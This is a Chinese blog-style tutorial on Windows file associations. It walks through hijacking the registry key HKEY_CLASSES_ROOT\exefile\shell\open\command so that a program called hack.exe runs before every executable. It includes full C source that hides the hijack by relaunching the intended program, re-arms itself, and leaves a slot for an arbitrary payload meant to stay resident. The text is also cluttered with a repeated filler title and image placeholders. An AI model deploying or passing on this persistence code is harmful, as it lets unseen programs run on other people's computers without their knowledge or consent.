included include

首先我们来看Windows操作系统的文件关连是怎么回事 。
例如.txt文本文件,右击,选择打开方式,选择默认程序:

included include

文章插图
根据这台电脑安装的应用程序,推荐打开的方式有3种,其中%SystemRoot%\system32\NOTEPAD.EXE是默认方式 。
在注册表中有设置:
included include

文章插图
例如双击c:\virus.txt文件,便会打开此文件,而对于操作系统来说,是先打开notepad.exe,再由notepad.exe打开c:\virus.txt 。
【included include】以下是用命令行方式打开此文件:
included include

文章插图
等同于:
included include

文章插图
如果用命令行的方式,用chrome打开virus.txt:
included include

文章插图
联系到上面注册表的设置:
included include

文章插图
「%1」即表示需要打开的文件,而前面的字符,即表示能够打开此文件的应用程序 。
说了这么多,是为了说明.exe文件的打开方式,我们可不可以用一个.exe文件去打开另外一个.exe文件呢?
看下面exe文件的打开设置:
included include

文章插图
「%1」即表示.exe自身,因为本身就是.exe文件了,所以无需如同.txt文件一样,再要用另一个.exe文件去打开它 。后面的「%*」是表示exe以命令行形式运行时所带的参数 。
上面说到,可不可以用一个.exe文件去打开另外一个.exe文件,答案是可以的,如以下设置:
included include

文章插图
打开任何一个「.exe」文件,便可以先运行「.c:\hack.exe」文件,再运行点击的文件 。
例如,在命令行下执行:c:\hack.exe c:\test.exe 。便可以先打开hack.exe,然后打开test.exe 。
有了这些前置知识,似乎就可以利用文件关联来打开一个我们需要的程序了 。
首先当然就是要修改HKEY_CLASSES_ROOT\exefile\\shell\\open\\command中的值,就是可执行程序*.exe文件的关联处,缺省为”%1” %* 。当我们把值修改为c:\hack.exe ”%1” %*后,以后打开exe文件就会激活C盘下的hack.exe 。另外,我们要在hack.exe运行时取得传入的命令行参数「”%1”」,再启动原来的exe程序,这样对于一般的人来看好像什么事也没发生过 。具体的演示代码如下:
#include <stdio.h>#include <windows.h>void myFunc();// 自己想要实现的功能void hack(int argc, char *argv[]);// 随exe文件一起运行int main(int argc,char *argv[]){hack(argc, argv);return 0;}void hack(int argc, char *argv[]) // 本程序hack.exe要伴随另一exe文件(例如B.exe)一起运行{char fPath[256];// B的文件路径memset(fPath,0,256);if(argc!=1){// argc!=1表示有参数int length =strlen(argv[1]);// argv[0]表示程序自身,argv[1]表示第一个参数// 当我们试图用此程序(hack.exe)去打开另一程序B时,// 另一程序B的文件路径就是argv[1]char *ch=(char *)malloc(length);strcpy(ch,argv[1]);for(int i=0;i<length;i++,ch++)// 把路径字符串中所有的"\"变为"\\"{if(*ch=='\\')strncat(fPath,"\\\\",2);else strncat(fPath,ch,1);}}// 在执行B程序之前先恢复注册表,否则用ShellExecute还是执行hack.exe 。char para[]="\"%1\" %*";// 「"%1" %* 」%1表示exe文件本身,加双引号可以避免路径中有空格而出错,%*表示运行参数char* subkey = "exefile\\shell\\open\\command";RegSetValue(HKEY_CLASSES_ROOT,subkey,REG_SZ,(LPCTSTR)para,strlen(para)+1);ShellExecute(NULL,"open",fPath,NULL,NULL,SW_SHOW); //执行B程序// 在程序执行完成后,再把注册表改为我们要启动的hack.exeTCHAR filename[256];GetModuleFileName( NULL, filename, 255 ); // 得到程序全路径名strcat(filename," \"%1\" %*");// 附加参数RegSetValue(HKEY_CLASSES_ROOT,subkey,REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);// 以上构成一个修改注册表和运行程序的循环myFunc();}void myFunc(){//MessageBox(NULL,"Hello",NULL,MB_OK); // 测试用,可以替换为自己想要实现的功能//while(1) ;// 常驻内存}上述代码运行一次后,只要exe程序一运行就会先执行hack.exe了 。
但是,因为每启动一个exe程序,都会启动一次hack.exe,这是我们不想看到的 。
如何能够防止一个程序多次启动呢?也就是确保只能够有一个进程在系统当中 。

秒懂生活扩展阅读